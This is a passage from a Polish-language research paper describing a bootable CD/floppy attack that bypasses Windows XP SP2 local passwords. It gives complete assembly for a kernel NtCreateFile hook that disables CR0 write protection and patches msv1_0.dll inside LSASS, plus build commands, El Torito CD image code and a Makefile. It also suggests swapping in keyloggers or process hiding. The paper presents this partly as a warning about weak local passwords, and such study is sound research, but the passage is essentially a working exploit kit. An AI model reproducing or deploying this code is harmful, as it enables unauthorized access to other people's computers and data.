procesu – oznacza to, że zmiana pamięci możliwa jest jedynie w momencie, kiedy
atakowany proces wywołuje funkcję NtCreateFile, przekierowującą do
skopiowanych przez nas danych w „buforze” DOS Stub. Umieszczony tam kod
„dowiaduje się”, że jest to odpowiedni moment na przeprowadzenie ataku –
wyłącza on ochronę pamięci, zamienia interesujące nas bajty, a następnie przywraca
wcześniejszy stan rejestru CR0, zdejmuje hak z funkcji kernela i wraca do jej
wykonywania.
Jeśli taki scenariusz zadziała w praktyce, msv1_0.dll będzie zmodyfikowany już w
momencie rozpoczęcia procesu logowania, a mimo to w pamięci nie pozostanie
żaden ślad po przeprowadzonym ataku (oprócz zawartości nagłówka jądra, który
można jednak przywrócić w momencie zdejmowania hooka).
Przed zabraniem się za pisanie kluczowego i zarazem ostatniego fragmentu kodu,
odpowiedzialnego za bezpośrednie zdejmowanie zabezpieczenia hasłem należy
zastanowić się nad kilkoma ważnymi kwestiami. Po pierwsze, skąd nasz kod może
się dowiedzieć, w kontekście jakiego procesu aktualnie działa oraz, jeśli jest to
właśnie LSASS, czy moduł msv1_0.dll został wcześniej załadowany. W tym
miejscu można posłużyć się pewnymi założeniami i, zamiast wprost pobierać nazwę
aktualnego procesu, zwracać większą uwagę na samą scieżkę pliku lub urządzenia,
do którego następuje odwołanie.
24
Okazuje się, że istnieje jasno określony porządek odwoływań do poszczególnych
ścieżek – istnieją również ciągi, których jako jedyny lub chociaż jako pierwszy
używa właśnie atakowany proces. W trakcie badań odkryto, że jednym z takich
ciągów jest „\??\Pipe\NETLOGON”, który otwarty zostaje już po załadowaniu
msv1_0.dll i pierwszym procesem, który do niego się odwołuje jest LSASS (w
późniejszym czasie robi to jeszcze winlogon.exe).
Opisana wyżej kolejność wygląda następująco:
lsass.exe : C:\Windows\system32\msv1_0.dll
…
lsass.exe : \??\Pipe\NETLOGON
…
winlogon.exe : \??\Pipe\NETLOGON
Jest to oczywiście jedynie ZAŁOŻENIE, które
nie musi być prawdziwe w każdej wersji
systemu Windows, gdyż nie ma żadnej
gwarancji, że taki porządek odwołań jest
jedynym poprawnym i nigdy nie ulegnie
zmianie. Zostało to jednak potwierdzone na
dużej liczbie maszyn z zainstalowanym
systemem Windows XP SP1 i SP2, więc myślę,
że można przyjąć to rozwiązanie za poprawne.
Kolejną rzeczą do przemyślenia jest sama
modyfikacja msv1_0 – interesujący nas
fragment kodu zmienia się między kolejnymi
wersjami/poprawkami systemów, trudno jest
więc trzymać się jednego, ustalonego z góry
adresu. Postanowiłem jednak uznać, że projekt
będzie w zamyśle działał na systemach Microsoft
Windows XP SP2 – zastosowałem więc stały
adres, który okazał się być poprawny dla
wszystkich
testowanych
przeze
mnie
komputerów. Stała, która definiuje wartość tego
adresu została już przedstawiona w pierwszym fragmencie kodu jako:
MSV1_0_PATCH_ADDR equ 077C699B9h
Rysunek 8. Schemat blokowy działania
hooka ntoskrnl!NtCreateFile
25
Na rysunku 8 przedstawiony został schemat działania hooka obecnego w jądrze
systemu, sprawdzający opisane wyżej warunki niezbędne do podjęcia decyzji o
patchowaniu LSASS, natomiast na listingu 7 zobaczyć możemy autorską
implementację ostatniego fragmentu kodu.
NT_CREATE_FILE_HOOK_START equ $
@NtCreateFileHook:
pushfd
pushad
mov eax, [esp+030h]
mov eax, [eax+8]
cmp word [eax], 34
jnz _LeaveTheHook
mov edi, dword 0
_DosStubHookAddr equ $-4
add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_START
mov esi, [eax+4]
mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString
repe cmpsb
test ecx, ecx
jnz _LeaveTheHook
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
mov word [MSV1_0_PATCH_ADDR], 9090h
push eax
mov eax, CR0
or eax, 10000h
mov CR0, eax
pop eax
mov eax, 0xC0DEC0DE
_NtCreateFileSyscallAddrFirst equ $-4
mov dword [eax], 08B55FF8Bh
mov byte [eax+4], 0ECh
_LeaveTheHook:
popad
popf
26
push ebp
mov ebp, esp
push dword 0xDEADBEEF
_NtCreateFileSyscallAddrSecond equ $-4
add dword [esp], 5
ret
_SearchedLsaString db
'\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0
,'L',0,'O',0,'G',0,'O',0,'N',0,0,0
NT_CREATE_FILE_HOOK_END equ $
Listing 7. Kod finalnego hooka, znajdujący się w jednym z nagłówków pliku
wykonywalnego NTOSKRNL.EXE
Samym sercem powyższego kodu jest jedna, jedyna instrukcja wstawiająca wartość
9090h w miejsce skoku warunkowego, od którego zależy możliwość zalogowania
się na dowolne konto obecne w systemie. Jeśli jedynym zabezpieczeniem systemu
jest hasło ustawione na każdym z lokalnych kont (najczęściej spotykana sytuacja),
nic nie stanowi już problemu by uzyskać dostęp do danych dostępnych jedynie dla
najbardziej uprzywilejowanych użytkowników, pozostawiając przy tym jedynie
minimalną ilość śladów działalności.
Aby uczynić nasz kod jeszcze bardziej elastycznym, można w miejsce użycia
stałego adresu modyfikacji msv1_0 dodać funkcję odpowiedzialną za wyszukiwanie
odpowiedniej sygnatury w atakowanym module, co prawdopodobnie dodatkowo
uodporniłoby projekt na zmiany wynikające z kolejnych poprawek/Service Packów
wydawanych przez Microsoft, jednak już w tym momencie działa on na
zdecydowanej większości systemów Windows XP.
Jak wcześniej wspomniano, fragment kodu odpowiedzialny za hookowanie jednej z
funkcji kernela zastąpić można znacznie groźniejszym, przykładowo instalującym w
jądrze „moduł” odpowiedzialny za przechwytywanie naciśniętych klawiszy,
ukrywanie dowolnych procesów, połączeń sieciowych itp. Jedynym ograniczeniem
jest tutaj wyobraźnia kodera korzystającego z dobrodziejstw tworzenia
bootowalnych nośników – należy więc mieć się na baczności i pamiętać, że lokalne
hasło systemowe nie zabezpiecza nas w pełni nawet przed włamywaczami
o wiedzy średniego poziomu, którzy wkładając odpowiednią płytę w momencie
uruchamiania maszyny mogą dobrać się do danych, które uważamy za świetnie
chronione.
27
5. Przenoszenie kodu na CD-ROM
Po skompilowaniu całości przedstawionego wcześniej kodu do postaci binarnej,
przy pomocy asemblera nasm 2.04:
20:18:39 Vexillium> nasm -v
NASM version 2.04 compiled on Sep 25 2008
20:18:41 Vexillium> nasm core.asm -O3 –o core.bin
20:18:42 Vexillium>
Otrzymujemy plik core.bin o rozmiarze 512 bajtów, czyli dokładnie jednego
sektora, który w przypadku zwyczajnej dyskietki 1.44MB powinien zostać
umieszczony na samym jej początku. Aby otrzymać poprawny plik obrazu FDD,
wystarczy posłużyć się następującym kodem:
start:
incbin "core.bin"
times ((1440 * 1024)-($-start)) db 0
który dołącza utworzony wcześniej plik binarny, a następnie resztę obrazu wypełnia
zerami. Po nagraniu takiego obrazu bezpośrednio na dyskietkę (np. przy pomocy
programu rawrite) jest ona od razu gotowa do użycia – jak widać, nie ma więc
większych problemów z dodatkowymi utrudnieniami w postaci formatu danych
zapisanych na nośniku itd.
Problem taki występuje jednak w przypadku znacznie szerzej stosowanych dziś płyt
CD-ROM (tudzież DVD), które muszą już opatrzone być odpowiednimi strukturami
opisującymi charakterystyczne cechy jak właśnie bootowalność dysku. Dokładny
opis formatu znaleźć można w dokumencie [14], będącym specyfikacją formatu
El-Torito, który definiuje format bootowalnych płyt CD.
Poniżej przedstawiony został oryginalny kod, który po skompilowaniu tworzy
prawidłowy, gotowy do nagrania obraz płyty CD-ROM. Jest on opatrzony
angielskimi komentarzami, lecz nie powinno stanowić to większego problemu –
większość z nich to po nazwy pól znalezione we wspomnianej wyżej specyfikacji.
28
CD_SECTOR_SIZE equ 800h
NUMBER_OF_SECTORS equ 20
times 16*CD_SECTOR_SIZE db 0 ; 15 empty sectors
; 16th CD sector - PRIMARY VOLUME DESCRIPTOR
db 1,'CD001',1 ; kind of signature?
db 0
times 32 db 0 ; system identifier
times 32 db 0 ; volume identifier
times 8 db 0
db NUMBER_OF_SECTORS,0,0,0,0,0,0,NUMBER_OF_SECTORS ; number of sectors
in both little and big endian
times 32 db 0 ; zeroes
db 1,0,0,1 ; '1' words in both endians
db 1,0,0,1 ; same as above
db 0,8,8,0 ; sector size (2048) in both endians
times 2 dd 0 ; path table length in bytes, as a both
endian double word
times 4 dd 0 ; something
; root directory record (34 bytes)
db 34 ; size of the record
db 0
times 2*8 db 0
times 7 db 0
db 2 ; some flag (it is directory)
db 0
db 0
db 1,0,0,1 ; 1 in both endians
db 1 ; some length
db 0 ; the identifier itself
times 4*128 db 0 ; some stupid identifiers (what the hell
is it for?)
times 3*37 db 0 ; another identifiers
times 4*17 db 0 ; some dates...
db 1,0
times 512 db 0 ; reserved for application use
times 653 db 0 ; zeros
; 17th CD sector - The Boot Record Volume Descriptor
db 0 ; boot record indicator
db 'CD001' ; ISO-9660 identifier
db 1 ; version of descriptor
db 'EL TORITO SPECIFICATION' ; boot system identifier
times 41 db 0 ; padding
db 18
; number of first sector in the Boot
Catalog
times 1976 db 0 ; align
29
; 18th CD sector - Validation entry
db 1 ; header ID
db 0 ; platform ID - 0 means 80x86
dw 0 ; reserved
db 'j00ru//vx Logon hack',0,0,0,0 ; ID string
dw 2108h ; check...
dw 0AA55h ; ...sum ;D
; Initial entry
db 088h ; boot indicator - Bootable
db 2 ; emulating 1.44mb diskette
dw 0 ; load segment (default 0x7C0)
db 0 ; system type
db 0 ; unused
dw 1 ; load 1 sector to 0x7C00
dd 19 ; number of sector with our bootable code
times 19 db 0 ; some zeros
times 1985 db 0 ; align
; 19th CD sector - our bootable code
BOOTABLE_CODE_BEGIN:
incbin "mbr.bin"
times 2048 - ($-BOOTABLE_CODE_BEGIN) db 0
Listing 8. Format bootowalnej płyty CD w formie „kodu” assemblera
Opisy kolejnych fragmentów kodu zostały wypunktowane:
Zdefiniowanie podstawowych wartości używanych w strukturach i
wyzerowanie pierwszych 15 sektorów płyty – każdy z nich wielkości 800h
(2048d) bajtów
Primary Volume Descriptor – zawsze 16 sektor nośnika, zawiera podstawowe
informacje opisujące płytę
Boot Record Volume Descriptor – zawsze 17 sektor nośnika, najważniejszą
wartością którą definiuje jest miejsce w którym znajduje się tzw. katalog
bootowania (w naszym przypadku jest to następny, 18 sektor)
Validation & Initial Entry – standardowe wpisy w katalogu bootowania,
pierwszy odpowiedzialny za potwierdzenie, że katalog ten jest poprawny (a
także zawierający identyfikator oraz sumę kontrolną), natomiast drugi
przekazujący bezpośrednio informacje o sektorze, w którym znaleźć można
kod domyślnie ładowany przez BIOS w momencie włączania komputera
Dołączenie pliku binarnego z gotowym kodem – ostatni, 19 sektor
30
6. E
fekt końcowy
Po skompilowaniu przedstawionych wyżej plików core.asm, floppy.asm oraz
cdrom.asm, rezultatem uruchomienia wirtualnej maszyny autorstwa Microsoftu z
dołączonym plikiem .iso oraz bez niego można podziwiać na zamieszczonych
poniżej zrzutach ekranu. Listing 9 przedstawia z kolei plik Makefile, który znacząco
ułatwia wielokrotną rekompilację kodu w przypadku własnych eksperymentów z
hakowaniem systemów operacyjnych przy użyciu bootowalnych nośników danych.
Rysunek 9. Wirtualna maszyna uruchomiona bez dodatkowych nośników – prośba o hasło
31
OUT
= cdrom.iso floppy.img
CFLAGS
= -O3
NASM
= nasm.exe
NONUSED
=
cdrom.iso: cdrom.asm core.bin floppy.img
$(NASM) $(CFLAGS) cdrom.asm -o cdrom.iso
floppy.img: floppy.asm core.bin
$(NASM) $(CFLAGS) floppy.asm -o floppy.img
core.bin: core.asm
$(NASM) $(CFLAGS) core.asm -o core.bin
clean:
del $(OUT)
Listing 9. Plik Makefile projektu
Rysunek 10. Wirtualna maszyna zbootowana z utworzonego przez nas obrazu płyty CD-ROM – logowanie
bez podawania hasła
32
7. Literatura
1.
http://en.wikipedia.org/wiki/Real_mode
2.
http://en.wikipedia.org/wiki/Protected_mode
3.
http://en.wikipedia.org/wiki/Interrupt_descriptor_table
4.
http://en.wikipedia.org/wiki/BIOS
5.
http://en.wikipedia.org/wiki/Mbr
6.
http://en.wikipedia.org/wiki/Volume_Boot_Record
7.
http://en.wikipedia.org/wiki/Ntldr
8.
http://en.wikipedia.org/wiki/Windows_NT_Startup_Process
9.
http://en.wikipedia.org/wiki/LSASS
http://www.eeye.com/html/resources/newsletters/vice/VI20051104.html
Opis działania projektów SysRq oraz SysRq2 stworzonych przez zespół eEye
Research
http://research.eeye.com/html/tools/RT20060801-7.html
BootRoot – projekt przedstawiony na konferencji BlackHat 2005, instalowanie
sieciowego backdoora z użyciem bootowania
http://research.eeye.com/html/tools/RT20060801-8.html
Obraz płyty SysRq2, gotowy do wypalenia i przetestowania
http://en.wikipedia.org/wiki/ISO_9660
Opis specyfikacji systemu plików płyt CD
33
Opis rozszerzenia ISO 9660, dotyczącego bootowalności płyt CD.
http://www.phoenix.com/NR/rdonlyres/98D3219C-9CC9-4DF5-B496-
A286D893E36A/0/specscdrom.pdf
Specyfikacja El Torito
http://forum.osdev.org/viewtopic.php?f=2&t=17546
Wątek założony przez autora interfejsu graficznego debuggera dostępnego w
emulatorze Bochs, który okazał się bardzo przydatny w pracy z bootowalnymi
nośnikami